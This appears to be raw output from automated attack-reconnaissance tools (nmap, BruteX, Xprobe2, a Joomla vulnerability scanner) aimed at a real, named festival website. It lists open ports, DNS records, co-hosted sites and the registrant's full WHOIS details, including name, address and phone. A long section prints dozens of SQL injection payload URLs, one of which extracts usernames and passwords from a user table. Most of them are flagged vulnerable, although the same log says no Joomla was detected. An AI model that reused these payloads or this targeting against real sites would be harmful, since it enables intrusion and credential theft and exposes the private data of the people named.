      o888o     o88o     o8888o 88888888P'     `YbodP'     `Y8bood8P'
Welcome to Yasuo v2.3
Author: Saurabh Harit (@0xsauby) | Contribution & Coolness: Stephen Hall (@logicalsec)
#########################################################################################

I, [2018-01-05T08:00:20.759005 #23233]  INFO -- : Initiating port scan
I, [2018-01-05T08:00:24.066500 #23233]  INFO -- : Using nmap scan output file logs/nmap_output_2018-01-05_08-00-20.xml
 + -- ----------------------------=[Skipping Full NMap Port Scan]=------------ -- +
 + -- ----------------------------=[Running Brute Force]=--------------------- -- +
 __________                __         ____  ___
 \______   \_______ __ ___/  |_  ____ \   \/  /
  |    |  _/\_  __ \  |  \   __\/ __ \ \     / 
  |    |   \ |  | \/  |  /|  | \  ___/ /     \ 
  |______  / |__|  |____/ |__|  \___  >___/\  \ 
         \/                         \/      \_/

 + -- --=[BruteX v1.7 by 1N3
 + -- --=[http://crowdshield.com


################################### Running Port Scan ##############################

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-05 08:00 EST
Nmap done: 1 IP address (1 host up) scanned in 4.58 seconds

################################### Running Brute Force ############################

 + -- --=[Port 21 closed... skipping.
 + -- --=[Port 22 closed... skipping.
 + -- --=[Port 23 closed... skipping.
 + -- --=[Port 25 closed... skipping.
 + -- --=[Port 80 closed... skipping.
 + -- --=[Port 110 closed... skipping.
 + -- --=[Port 139 closed... skipping.
 + -- --=[Port 162 closed... skipping.
 + -- --=[Port 389 closed... skipping.
 + -- --=[Port 443 closed... skipping.
 + -- --=[Port 445 closed... skipping.
 + -- --=[Port 512 closed... skipping.
 + -- --=[Port 513 closed... skipping.
 + -- --=[Port 514 closed... skipping.
 + -- --=[Port 993 closed... skipping.
 + -- --=[Port 1433 closed... skipping.
 + -- --=[Port 1521 closed... skipping.
 + -- --=[Port 3306 closed... skipping.
 + -- --=[Port 3389 closed... skipping.
 + -- --=[Port 5432 closed... skipping.
 + -- --=[Port 5900 closed... skipping.
 + -- --=[Port 5901 closed... skipping.
 + -- --=[Port 8000 closed... skipping.
 + -- --=[Port 8080 closed... skipping.
 + -- --=[Port 8100 closed... skipping.
 + -- --=[Port 6667 closed... skipping.

#######################################################################################################################################
Hostname      www.novalisfestival.com 	  	ISP 	Unknown
Continent 	Unknown 	  	Flag
GB
Country 	United Kingdom 	  	Country Code 	GB
Region 	Unknown 	  	Local time 	05 Jan 2018 12:47 GMT
City 	Unknown 	  	Latitude 	54
IP Address (IPv6) 	2a01:9cc0:0:1:1a:3:0:11c 	  	Longitude 	-2 	  	ISP
#######################################################################################################################################
[i] Scanning Site: https://novalisfestival.com



B A S I C   I N F O
====================


[+] Site Title: NOVALIS MUSIC + art festival &#8211; 07.07. &#8211; 14.07.2018
[+] IP address: 185.119.174.103
[+] Web Server: nginx
[+] CMS: WordPress
[+] Cloudflare: Not Detected
[+] Robots File: Could NOT Find robots.txt!




W H O I S   L O O K U P
========================

	   Domain Name: NOVALISFESTIVAL.COM
   Registry Domain ID: 1862235451_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.udag.net
   Registrar URL: http://www.united-domains.de
   Updated Date: 2017-06-11T07:09:03Z
   Creation Date: 2014-06-10T07:50:11Z
   Registry Expiry Date: 2018-06-10T07:50:11Z
   Registrar: United-Domains AG
   Registrar IANA ID: 1408
   Registrar Abuse Contact Email: abuse@united-domains.de
   Registrar Abuse Contact Phone: +49.8151368670
   Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
   Name Server: NS1.WEBFACTION.COM
   Name Server: NS2.WEBFACTION.COM
   Name Server: NS3.WEBFACTION.COM
   Name Server: NS4.WEBFACTION.COM
   DNSSEC: unsigned
   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2018-01-05T12:55:15Z <<<

For more information on Whois status codes, please visit https://icann.org/epp



The Registry database contains ONLY .COM, .NET, .EDU domains and
Registrars.




G E O  I P  L O O K  U P
=========================

[i] IP Address: 185.119.174.103
[i] Country: GB
[i] State: N/A
[i] City: N/A
[i] Latitude: 51.496399
[i] Longitude: -0.122400




H T T P   H E A D E R S
=======================


[i]  HTTP/1.1 301 Moved Permanently
[i]  Server: nginx
[i]  Date: Fri, 05 Jan 2018 12:55:31 GMT
[i]  Content-Type: text/html; charset=iso-8859-1
[i]  Content-Length: 239
[i]  Connection: close
[i]  Location: http://www.novalisfestival.com/
[i]  HTTP/1.1 301 Moved Permanently
[i]  Server: nginx
[i]  Date: Fri, 05 Jan 2018 12:55:31 GMT
[i]  Content-Type: text/html; charset=iso-8859-1
[i]  Content-Length: 240
[i]  Connection: close
[i]  Location: https://www.novalisfestival.com/
[i]  HTTP/1.1 200 OK
[i]  Server: nginx
[i]  Date: Fri, 05 Jan 2018 12:55:32 GMT
[i]  Content-Type: text/html; charset=UTF-8
[i]  Connection: close
[i]  Link: <https://www.novalisfestival.com/index.php?rest_route=/>; rel="https://api.w.org/", <https://www.novalisfestival.com/>; rel=shortlink




D N S   L O O K U P
===================

novalisfestival.com.	3599	IN	A	185.119.174.103
novalisfestival.com.	3599	IN	NS	ns1.webfaction.com.
novalisfestival.com.	3599	IN	NS	ns2.webfaction.com.
novalisfestival.com.	3599	IN	NS	ns3.webfaction.com.
novalisfestival.com.	3599	IN	NS	ns4.webfaction.com.
novalisfestival.com.	3599	IN	SOA	ns4.webfaction.com. hostmaster.novalisfestival.com. 1 10800 3600 604800 3600
novalisfestival.com.	3599	IN	MX	10 mx7.webfaction.com.
novalisfestival.com.	3599	IN	MX	10 mx8.webfaction.com.
novalisfestival.com.	3599	IN	MX	10 mx9.webfaction.com.
novalisfestival.com.	3599	IN	AAAA	2a01:9cc0:0:1:1a:3:0:11c




S U B N E T   C A L C U L A T I O N
====================================

Address       = 2a01:9cc0:0:1:1a:3:0:11c
Network       = 2a01:9cc0:0:1:1a:3:0:11c / 128
Netmask       = ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Wildcard Mask = ::
Hosts Bits    = 0
Max. Hosts    = 0   (2^0 - 1)
Host Range    = { 2a01:9cc0:0:1:1a:3:0:11d - 2a01:9cc0:0:1:1a:3:0:11c }



N M A P   P O R T   S C A N
============================


Starting Nmap 7.01 ( https://nmap.org ) at 2018-01-05 12:55 UTC
Nmap scan report for novalisfestival.com (185.119.174.103)
Host is up (0.076s latency).
Other addresses for novalisfestival.com (not scanned): 2a01:9cc0:0:1:1a:3:0:11c
rDNS record for 185.119.174.103: web564.webfaction.com
PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           vsftpd 3.0.2
22/tcp   open     ssh           OpenSSH 7.4 (protocol 2.0)
23/tcp   filtered telnet
25/tcp   filtered smtp
80/tcp   open     http          nginx
110/tcp  filtered pop3
143/tcp  filtered imap
443/tcp  open     ssl/http      nginx
445/tcp  filtered microsoft-ds
3389/tcp filtered ms-wbt-server
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.92 seconds



S U B - D O M A I N   F I N D E R
==================================


[i] Total Subdomains Found : 0





R E V E R S E   I P   L O O K U P
==================================


[i] Total Sites Found On This Server : 0

!] IP Address : 185.119.174.103
[!] Server: nginx
[-] Clickjacking protection is not in place.
[!] novalisfestival.com doesn't seem to use a CMS
[+] Honeypot Probabilty: 0%
----------------------------------------
PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           vsftpd 3.0.2
22/tcp   open     ssh           OpenSSH 7.4 (protocol 2.0)
23/tcp   filtered telnet
25/tcp   filtered smtp
80/tcp   open     http          nginx
110/tcp  filtered pop3
143/tcp  filtered imap
443/tcp  open     ssl/http      nginx
445/tcp  filtered microsoft-ds
3389/tcp filtered ms-wbt-server
----------------------------------------

[+] DNS Records
ns1.webfaction.com. (185.20.51.42) AS198047 UK Webhosting Ltd United Kingdom
ns2.webfaction.com. (103.44.220.74) AS133882 PARAGON INTERNET GROUP LIMITED Singapore
ns4.webfaction.com. (148.72.160.4) AS30083 server4you Inc. United States
ns3.webfaction.com. (62.138.130.11) AS20773 Host Europe GmbH Germany

[+] MX Records
10 (185.20.49.163) AS198047 UK Webhosting Ltd United Kingdom

[+] MX Records
10 (185.20.49.164) AS198047 UK Webhosting Ltd United Kingdom

[+] MX Records
10 (185.20.49.162) AS198047 UK Webhosting Ltd United Kingdom

[+] Host Records (A)
novalisfestival.comHTTP: (web564.webfaction.com) (185.119.174.103) AS198047 UK Webhosting Ltd United Kingdom

[+] TXT Records

[+] DNS Map: https://dnsdumpster.com/static/map/novalisfestival.com.png

[>] Initiating 3 intel modules
[>] Loading Alpha module (1/3)
[>] Beta module deployed (2/3)
[>] Gamma module initiated (3/3)


[+] Emails found:
------------------
info@novalisfestival.com
sales@novalisfestival.com

[+] Hosts found in search engines:
------------------------------------
[-] Resolving hostnames IPs...
185.119.174.103:www.novalisfestival.com
[+] Virtual hosts:
-----------------
185.119.174.103	scotsfiddlefestival
185.119.174.103	www.oak-beams
185.119.174.103	baaningkao
185.119.174.103	www.hipsarchitecturalironmongery
185.119.174.103	www.exiliadosrepublicanos.info
185.119.174.103	www.zagrebtours
185.119.174.103	www.montaguejeffery
185.119.174.103	www.updown.co.il
185.119.174.103	yumtz.com
185.119.174.103	www.lewiscommercials
185.119.174.103	eplaw
185.119.174.103	www.constructionleadershipcouncil
185.119.174.103	haywoodparkfarm
185.119.174.103	www.dua
185.119.174.103	eplaw.org
185.119.174.103	www.montaguejeffery.co.uk
185.119.174.103	www.constructionleadershipcouncil.co.uk
185.119.174.103	mesta.net
185.119.174.103	www.ferrocentralsa.com.ar
185.119.174.103	www.onsk8.com
185.119.174.103	www.derinbilgi.com.tr
185.119.174.103	grothia.gr
185.119.174.103	www.7iklim.com
185.119.174.103	www.gak.gda.pl
185.119.174.103	www.vikendi.com
[>] Crawling the target for fuzzable URLs

Target: http://novalisfestival.com

Server: nginx


## Checking if the target has deployed an Anti-Scanner measure

[!] Scanning Passed ..... OK


## Detecting Joomla! based Firewall ...

[!] A Joomla! RS-Firewall (com_rsfirewall/com_firewall) is detected.
[!] The vulnerability probing may be logged and protected.

[!] A Joomla! J-Firewall (com_jfw) is detected.
[!] The vulnerability probing may be logged and protected.

[!] A SecureLive Joomla!(mod_securelive/com_securelive) firewall is detected.
[!] The vulnerability probing may be logged and protected.

[!] A SecureLive Joomla! firewall is detected.
[!] The vulnerability probing may be logged and protected.

[!] FWScript(from firewallscript.com) is likely to be used.
[!] The vulnerability probing may be logged and protected.

[!] A Joomla! security scanner (com_joomscan/com_joomlascan) is detected.
[!] It is likely that webmaster routinely checks insecurities.

[!] A security scanner (com_securityscanner/com_securityscan) is detected.

[!] A Joomla! jSecure Authentication is detected.
[!] You need additional secret key to access /administrator directory
[!] Default is jSecure like /administrator/?jSecure ;)

[!] A Joomla! GuardXT Security Component is detected.
[!] It is likely that webmaster routinely checks for insecurities.

[!] A Joomla! JoomSuite Defender is detected.
[!] The vulnerability probing may be logged and protected.


## Fingerprinting in progress ...

~Unable to detect the version. Is it sure a Joomla?

## Fingerprinting done.




Vulnerabilities Discovered
==========================

# 1
Info -> Generic: htaccess.txt has not been renamed.
Versions Affected: Any
Check: /htaccess.txt
Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely to succeed.
Vulnerable? Yes


# 39
Info -> CoreComponent: com_banners Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_banners/
Exploit: /index.php?option=com_banners&task=archivesection&id=0'+and+'1'='1::/index.php?option=com_banners&task=archivesection&id=0'+and+'1'='2
Vulnerable? Yes


# 77
Info -> Component: paxxgallery Blind SQL Injection Vulnerability
Versions Affected: 0.2 <=
Check: /components/com_paxxgallery/
Exploit: /index.php?option=com_paxxgallery&Itemid=85&gid=7&userid=1&task=view&iid=1+and+1=1::/index.php?option=com_paxxgallery&Itemid=85&gid=7&userid=1&task=view&iid=1+and+1=2
Vulnerable? Yes


# 86
Info -> Component: MediaSlide Blind SQL Injection Vulnerability
Versions Affected: 0.5.0 <=
Check: /components/com_mediaslide/
Exploit: /index.php?option=com_mediaslide&act=contact&id=1&albumnum=1+and+1=1::/index.php?option=com_mediaslide&act=contact&id=1&albumnum=1+and+1=2
Vulnerable? Yes

# 204
Info -> Component: com_webhosting Blind SQL Injection Vulnerability
Version Affected: N/A
Check: /components/com_webhosting/
Exploit: /index.php?option=com_webhosting&catid=1+and+1=1::/index.php?option=com_webhosting&catid=1+and+1=2
Vulnerable? Yes

# 207
Info -> Component: com_mycontent Blind SQL Injection Vulnerability
Version Affected: N/A
Check: /components/com_mycontent/
Exploit: /index.php?option=com_mycontent&task=view&id=1+and+1=1::/index.php?option=com_mycontent&task=view&id=1+and+1=2
Vulnerable? Yes

# 208
Info -> Component: Joo!BB Blind SQL Injection Vulnerability
Version Affected: 0.5.9 or lower
Check: /components/com_joobb/
Exploit: /index.php?option=com_joobb&view=forum&forum=1+and+1=1::/index.php?option=com_joobb&view=forum&forum=1+and+1=2
Vulnerable? Yes

# 209
Info -> Component: acctexp Blind SQL Injection Vulnerability
Version Affected: <= 0.12
Check: /components/com_acctexp/
Exploit: /index.php?option=com_acctexp&task=subscribe&usage=1+and+1=1::/index.php?option=com_acctexp&task=subscribe&usage=1+and+1=2
Vulnerable? Yes

# 213
Info -> Component: JooBlog Blind SQL Injection Vulnerability
Version Affected: 0.1.1<=
Check: /components/com_jb2/
Exploit: /index.php?option=com_jb2&view=category&CategoryID=1+and+1=1::/index.php?option=com_jb2&view=category&CategoryID=1+and+1=2
Vulnerable? Yes

# 218
Info -> Component: n-forms Blind SQL Injection Vulnerability
Version Affected: 1.01 <=
Check: /components/com_n-forms/
Exploit: /index.php?option=com_n-forms&form_id=1+and+1=1::/index.php?option=com_n-forms&form_id=1+and+1=2
Vulnerable? Yes

# 219
Info -> Component: yvcomment Blind SQL Injection Vulnerability
Version Affected: 1.16 <=
Check: /components/com_yvcomment/
Exploit: /index.php?option=com_yvcomment&view=comment&ArticleID=1+and+1=1::/index.php?option=com_yvcomment&view=comment&ArticleID=1+and+1=2
Vulnerable? Yes

# 220
Info -> Component: News Portal Blind SQL Injection Vulnerability
Version Affected: 1.0 <=
Check: /components/com_news_portal/
Exploit: /index.php?option=com_news_portal&Itemid=1+and+1=1::/index.php?option=com_news_portal&Itemid=1+and+1=2
Vulnerable? Yes

Info -> Component: com_ijoomla_archive (catid) Blind SQL Injection Vulnerability
Versions Affected: N/A
Check: /components/com_ijoomla_archive/
Exploit: /index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&catid=1+and+1=1::/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&catid=1+and+1=2
Vulnerable? Yes


# 305
Info -> Component: com_digistore (pid) Blind SQL Injection Vulnerability
Versions Affected: N/A
Check: /components/com_digistore/
Exploit: /index.php?option=com_digistore&task=show_product&pid=1+and+1=1::/index.php?option=com_digistore&task=show_product&pid=1+and+1=2
Vulnerable? Yes


# 345
Info -> Component: com_hbssearch Blind SQL Injection Vulnerability
Versions Affected: N/A
Check: /components/com_hbssearch/
Exploit: /index.php?option=com_hbssearch&task=showhoteldetails&id=4&chkin=2008-08-15&chkout=2008-08-18&datedif=3&str_day=Fri&end_day=Mon&start_day=&star=&child1=0&adult1=1&Itemid=54&r_type=1+and+1=1::/index.php?option=com_hbssearch&task=showhoteldetails&id=4&chkin=2008-08-15&chkout=2008-08-18&datedif=3&str_day=Fri&end_day=Mon&start_day=&star=&child1=0&adult1=1&Itemid=54&r_type=1+and+1=2
Vulnerable? Yes


# 348
Info -> Component: com_lowcosthotels (id) Blind SQL Injection Vulnerability
Versions Affect: N/A
Check: /components/com_lowcosthotels/
Exploit: /index.php?option=com_lowcosthotels&task=showhoteldetails&id=1+and%201=1::/index.php?option=com_lowcosthotels&task=showhoteldetails&id=1+and%201=2
Vulnerable? Yes

# 349
Info -> Component: com_allhotels (id) Blind SQL Injection Vulnerability
Versions Affect: N/A
Check: /components/com_allhotels/
Exploit: /index.php?option=com_allhotels&task=showhoteldetails&id=1+and%201=1::/index.php?option=com_allhotels&task=showhoteldetails&id=1+and%201=2
Vulnerable? Yes

# 350
Info -> Component: com_ice(catid) Blind SQL Injection Vulnerability
Versions Affected: N/A
Check: /components/com_ice/
Exploit: /index.php?option=com_ice&catid=1 and 1=1::/index.php?option=com_ice&catid=1 and 1=2
Vulnerable? Yes

# 351
Info -> Component: com_liveticker(tid) Blind SQL Injection Vulnerability
Versions Affected: N/A
Check: /components/com_liveticker/
Exploit: /index.php?option=com_liveticker&task=viewticker&tid=1 and 1=1::/index.php?option=com_liveticker&task=viewticker&tid=1 and 1=2
Vulnerable? Yes


# 354
Info -> Component: PAX Gallery (gid) Blind SQL Injection Vulnerability
Versions effected: v 0.1 <=
Check: /components/com_paxgallery/
Exploit: /index.php?option=com_paxgallery&task=table&gid=1%20and%201=1::/index.php?option=com_paxgallery&task=table&gid=1%20and%201=2
Vulnerable? Yes

# 355
Info -> Component: com_na_content Blind SQL Injection Vulnerability
Versions effected: v 1.0 <=
Check: /components/com_na_content/
Exploit: /index.php?option=com_na_content&task=view&id=1+and+1=1::/index.php?option=com_na_content&task=view&id=1+and+1=2
Vulnerable? Yes

# 374
Info -> Component: pcchess Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_pcchess/
Exploit: /index.php?option=com_pcchess&Itemid=84&page=showgame&game_id=1+and+1=1::/index.php?option=com_pcchess&Itemid=84&page=showgame&game_id=1+and+1=2
Vulnerable? Yes

# 375
Info -> Component: PC CookBook Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_pccookbook/
Exploit: /index.php?option=com_pccookbook&page=viewrecipe&recipe_id=1+and+1=1::/index.php?option=com_pcchess&Itemid=84&page=showgame&game_id=1+and+1=2
Vulnerable? Yes

# 376
Info -> Component: com_waticketsystem Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_waticketsystem/
Exploit: /index.php?option=com_waticketsystem&act=category&catid=1+and+1=1::/index.php?option=com_waticketsystem&act=category&catid=1+and+1=2
Vulnerable? Yes

# 377
Info -> Component: com_eventing Blind SQL Injection Vulnerability
Versions effected: 1.6.x
Check: /components/com_eventing/
Exploit: /index.php?option=com_eventing&catid=1+and+1=1::/index.php?option=com_eventing&catid=1+and+1=2
Vulnerable? Yes

# 379
Info -> Component: com_rss DOS Vulnerability
Versions effected: Joomla! <= 1.0.7
Check: /components/com_rss/
Exploit: /index2.php?option=com_rss&feed=test
Vulnerable? Yes


# 382
Info -> Component: com_gsticketsystem (catid) Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_gsticketsystem/
Exploit: /index.php?option=com_gsticketsystem&controller=entrypoint&task=viewCategory&catid=1+and+1=1::/index.php?option=com_gsticketsystem&controller=entrypoint&task=viewCategory&catid=1+and+1=2
Vulnerable? Yes

# 386
Info -> Component: com_agoragroup AgoraGroup Blind SQL Injection Vulnerability
Versions effected: 0.3.5.3 <=
Check: /components/com_agoragroup/
Exploit: /index.php?option=com_agoragroup&con=groupdetail&id=1+and+1=1::/index.php?option=com_agoragroup&con=groupdetail&id=1+and+1=2
Vulnerable? Yes

# 388
Info -> Component: Seminar com_seminar Blind SQL Injection Vulnerability
Versions effected: 2.0.4 <=
Check: /components/com_seminar/
Exploit: /index.php?option=com_seminar&task=View_seminar&id=1+and+1=1::index.php?option=com_seminar&task=View_seminar&id=1+and+1=2
Vulnerable? Yes

# 404
Info -> Component: com_ijoomla_rss Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_ijoomla_rss/
Exploit: /index.php?option=com_ijoomla_rss&act=xml&cat=1+and+1=1::/index.php?option=com_ijoomla_rss&act=xml&cat=1+and+1=2
Vulnerable? Yes

# 405
Info -> Component: com_jumi (fileid) Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_jumi/
Exploit: /index.php?option=com_jumi&fileid=1+and+1=1::/index.php?option=com_jumi&fileid=1+and+1=2
Vulnerable? Yes

# 406
Info -> Component: com_tickets (id) SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_tickets/
Exploit: /index.php?option=com_tickets&task=form&id=1+and+1=2+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users+from+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72/*
Info -> Component: com_php (id) Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_php/
Exploit: /index.php?option=com_php&Itemid=[INSERT]&id=[INSERT]+and+1=1::/index.php?option=com_php&Itemid=[INSERT]&id=[INSERT]+and+1=2
Vulnerable? Yes
# 426
Info -> Component: com_jobline (search) Blind SQL Injection Vulnerability
Versions effected: 1.3.1 <=
Check: /components/com_jobline/
Exploit: /index.php?option=com_jobline&task=results&Itemid=&search=%' and 1=1 and '%'='::/index.php?option=com_jobline&task=results&Itemid=&search=%' and 1=2 and '%'='
Vulnerable? Yes


# 454
Info -> Component: Almond Classifieds com_aclassf (id) Blind SQL Injection Vulnerability
Versions effected: 5.6.2 <=
Check: /components/com_aclassf/
Exploit: /index.php?option=com_aclassf&Itemid=26&ct=merch5&md=details&id=1+and+1=1::/index.php?option=com_aclassf&Itemid=26&ct=merch5&md=details&id=1+and+1=2
Vulnerable? Yes

# 455
Info -> Component: Almond Classifieds com_aclassf (replid) Blind SQL Injection Vulnerability
Versions effected: 7.5 <=
Check: /components/com_aclassf/
Exploit: /index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=1+and+1=1::/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=1+and+1=2
Vulnerable? Yes

# 459
Info -> Component: Kunena Forums com_kunena (func) Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_kunena/
Exploit: /index.php?option=com_kunena&Itemid=-3&func=1+and+1=1::/index.php?option=com_kunena&Itemid=-3&func=1+and+1=2
Vulnerable? Yes

# 460
Info -> Component: com_misterestate Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_misterestate/
Exploit: /index.php?option=com_misterestate&act=mesearch&task=showMESR&tmpl=component&src_cat=0&country=no&state=no&town=no&district=no&mesearch=Start+Search&searchstring=1%'+and+1=1::/index.php?option=com_misterestate&act=mesearch&task=showMESR&tmpl=component&src_cat=0&country=no&state=no&town=no&district=no&mesearch=Start+Search&searchstring=1%'+and+1=2
Vulnerable? Yes
[92m + -- ----------------------------=[Running Nslookup]=------------------------ -- +
Server:		192.168.1.254
Address:	192.168.1.254#53

Non-authoritative answer:
Name:	novalisfestival.com
Address: 185.119.174.103
Name:	novalisfestival.com
Address: 2a01:9cc0:0:1:1a:3:0:11c

novalisfestival.com has address 185.119.174.103
novalisfestival.com has IPv6 address 2a01:9cc0:0:1:1a:3:0:11c
novalisfestival.com mail is handled by 10 mx9.webfaction.com.
novalisfestival.com mail is handled by 10 mx7.webfaction.com.
novalisfestival.com mail is handled by 10 mx8.webfaction.com.
 + -- ----------------------------=[Checking OS Fingerprint]=----------------- -- +

Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o0o.nu, ofir@sys-security.com, meder@o0o.nu

[+] Target is novalisfestival.com
[+] Loading modules.
[+] Following modules are loaded:
[x] [1] ping:icmp_ping  -  ICMP echo discovery module
[x] [2] ping:tcp_ping  -  TCP-based ping discovery module
[x] [3] ping:udp_ping  -  UDP-based ping discovery module
[x] [4] infogather:ttl_calc  -  TCP and UDP based TTL distance calculation
[x] [5] infogather:portscan  -  TCP and UDP PortScanner
[x] [6] fingerprint:icmp_echo  -  ICMP Echo request fingerprinting module
[x] [7] fingerprint:icmp_tstamp  -  ICMP Timestamp request fingerprinting module
[x] [8] fingerprint:icmp_amask  -  ICMP Address mask request fingerprinting module
[x] [9] fingerprint:icmp_port_unreach  -  ICMP port unreachable fingerprinting module
[x] [10] fingerprint:tcp_hshake  -  TCP Handshake fingerprinting module
[x] [11] fingerprint:tcp_rst  -  TCP RST fingerprinting module
[x] [12] fingerprint:smb  -  SMB fingerprinting module
[x] [13] fingerprint:snmp  -  SNMPv2c fingerprinting module
[+] 13 modules registered
[+] Initializing scan engine
[+] Running scan engine
[-] ping:tcp_ping module: no closed/open TCP ports known on 185.119.174.103. Module test failed
[-] ping:udp_ping module: no closed/open UDP ports known on 185.119.174.103. Module test failed
[-] No distance calculation. 185.119.174.103 appears to be dead or no ports known
[+] Host: 185.119.174.103 is up (Guess probability: 50%)
[+] Target: 185.119.174.103 is alive. Round-Trip Time: 0.50754 sec
[+] Selected safe Round-Trip Time value is: 1.01508 sec
[-] fingerprint:tcp_hshake Module execution aborted (no open TCP ports known)
[-] fingerprint:smb need either TCP port 139 or 445 to run
[+] Primary guess:
[+] Host 185.119.174.103 Running OS: ›FV (Guess probability: 95%)
[+] Other guesses:
[+] Host 185.119.174.103 Running OS: ›FV (Guess probability: 95%)
[+] Host 185.119.174.103 Running OS:  (Guess probability: 95%)
[+] Host 185.119.174.103 Running OS: ›FV (Guess probability: 95%)
[+] Host 185.119.174.103 Running OS: ›FV (Guess probability: 95%)
[+] Host 185.119.174.103 Running OS: ›FV (Guess probability: 95%)
[+] Host 185.119.174.103 Running OS: ›FV (Guess probability: 95%)
[+] Host 185.119.174.103 Running OS: ›FV (Guess probability: 95%)
[+] Host 185.119.174.103 Running OS: ›FV (Guess probability: 95%)
[+] Host 185.119.174.103 Running OS: ›FV (Guess probability: 95%)
[+] Cleaning up scan engine
[+] Modules deinitialized
[+] Execution completed.
 + -- ----------------------------=[Gathering Whois Info]=-------------------- -- +
   Domain Name: NOVALISFESTIVAL.COM
   Registry Domain ID: 1862235451_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.udag.net
   Registrar URL: http://www.united-domains.de
   Updated Date: 2017-06-11T07:09:03Z
   Creation Date: 2014-06-10T07:50:11Z
   Registry Expiry Date: 2018-06-10T07:50:11Z
   Registrar: United-Domains AG
   Registrar IANA ID: 1408
   Registrar Abuse Contact Email: abuse@united-domains.de
   Registrar Abuse Contact Phone: +49.8151368670
   Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
   Name Server: NS1.WEBFACTION.COM
   Name Server: NS2.WEBFACTION.COM
   Name Server: NS3.WEBFACTION.COM
   Name Server: NS4.WEBFACTION.COM
   DNSSEC: unsigned
   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2018-01-05T17:09:08Z <<<

For more information on Whois status codes, please visit https://icann.org/epp

NOTICE: The expiration date displayed in this record is the date the
registrar's sponsorship of the domain name registration in the registry is
currently set to expire. This date does not necessarily reflect the expiration
date of the domain name registrant's agreement with the sponsoring
registrar.  Users may consult the sponsoring registrar's Whois database to
view the registrar's reported date of expiration for this registration.

TERMS OF USE: You are not authorized to access or query our Whois
database through the use of electronic processes that are high-volume and
automated except as reasonably necessary to register domain names or
modify existing registrations; the Data in VeriSign Global Registry
Services' ("VeriSign") Whois database is provided by VeriSign for
information purposes only, and to assist persons in obtaining information
about or related to a domain name registration record. VeriSign does not
guarantee its accuracy. By submitting a Whois query, you agree to abide
by the following terms of use: You agree that you may use this Data only
for lawful purposes and that under no circumstances will you use this Data
to: (1) allow, enable, or otherwise support the transmission of mass
unsolicited, commercial advertising or solicitations via e-mail, telephone,
or facsimile; or (2) enable high volume, automated, electronic processes
that apply to VeriSign (or its computer systems). The compilation,
repackaging, dissemination or other use of this Data is expressly
prohibited without the prior written consent of VeriSign. You agree not to
use electronic processes that are automated and high-volume to access or
query the Whois database except as reasonably necessary to register
domain names or modify existing registrations. VeriSign reserves the right
to restrict your access to the Whois database in its sole discretion to ensure
operational stability.  VeriSign may restrict or terminate your access to the
Whois database for failure to abide by these terms of use. VeriSign
reserves the right to modify these terms at any time.

The Registry database contains ONLY .COM, .NET, .EDU domains and
Registrars.

Domain Name: novalisfestival.com
Registry Domain ID: 1862235451_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.udag.net
Registrar URL: http://www.united-domains.de/
Updated Date: 2017-06-11T07:09:03Z
Creation Date: 2014-06-10T07:50:11Z
Registrar Registration Expiration Date: 2018-06-10T07:50:11Z
Registrar: united domains AG
Registrar IANA ID: 1408
Registrar Abuse Contact Email: abuse@united-domains.de
Registrar Abuse Contact Phone: +49.8151368670
Reseller:
Domain Status: clientTransferProhibited https://www.icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: Davor Branimir Vince
Registrant Organization: Novalis Concept
Registrant Street: Nova Cesta 117
Registrant City: Zagreb
Registrant State/Province:
Registrant Postal Code: 10000
Registrant Country: HR
Registrant Phone: +385.958848971
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: info@novalisfestival.com
Registry Admin ID:
Admin Name: Davor Branimir Vince
Admin Organization: Novalis Concept
Admin Street: Nova Cesta 117
Admin City: Zagreb
Admin State/Province:
Admin Postal Code: 10000
Admin Country: HR
Admin Phone: +385.958848971
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email: info@novalisfestival.com
Registry Tech ID:
Tech Name: Host Master
Tech Organization: united-domains AG
Tech Street: Gautinger Str. 10
Tech City: Starnberg
Tech State/Province: Bayern
Tech Postal Code: 82319
Tech Country: DE
Tech Phone: +49.8151368670
Tech Phone Ext:
Tech Fax: +49.81513686777
Tech Fax Ext:
Tech Email: hostmaster@united-domains.de
Name Server: ns4.webfaction.com
Name Server: ns3.webfaction.com
Name Server: ns1.webfaction.com
Name Server: ns2.webfaction.com
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2017-06-11T07:09:03Z

For more information on Whois status codes, please visit https://www.icann.org/epp

; Whois Server Version 1.86
;
; Terms and conditions:
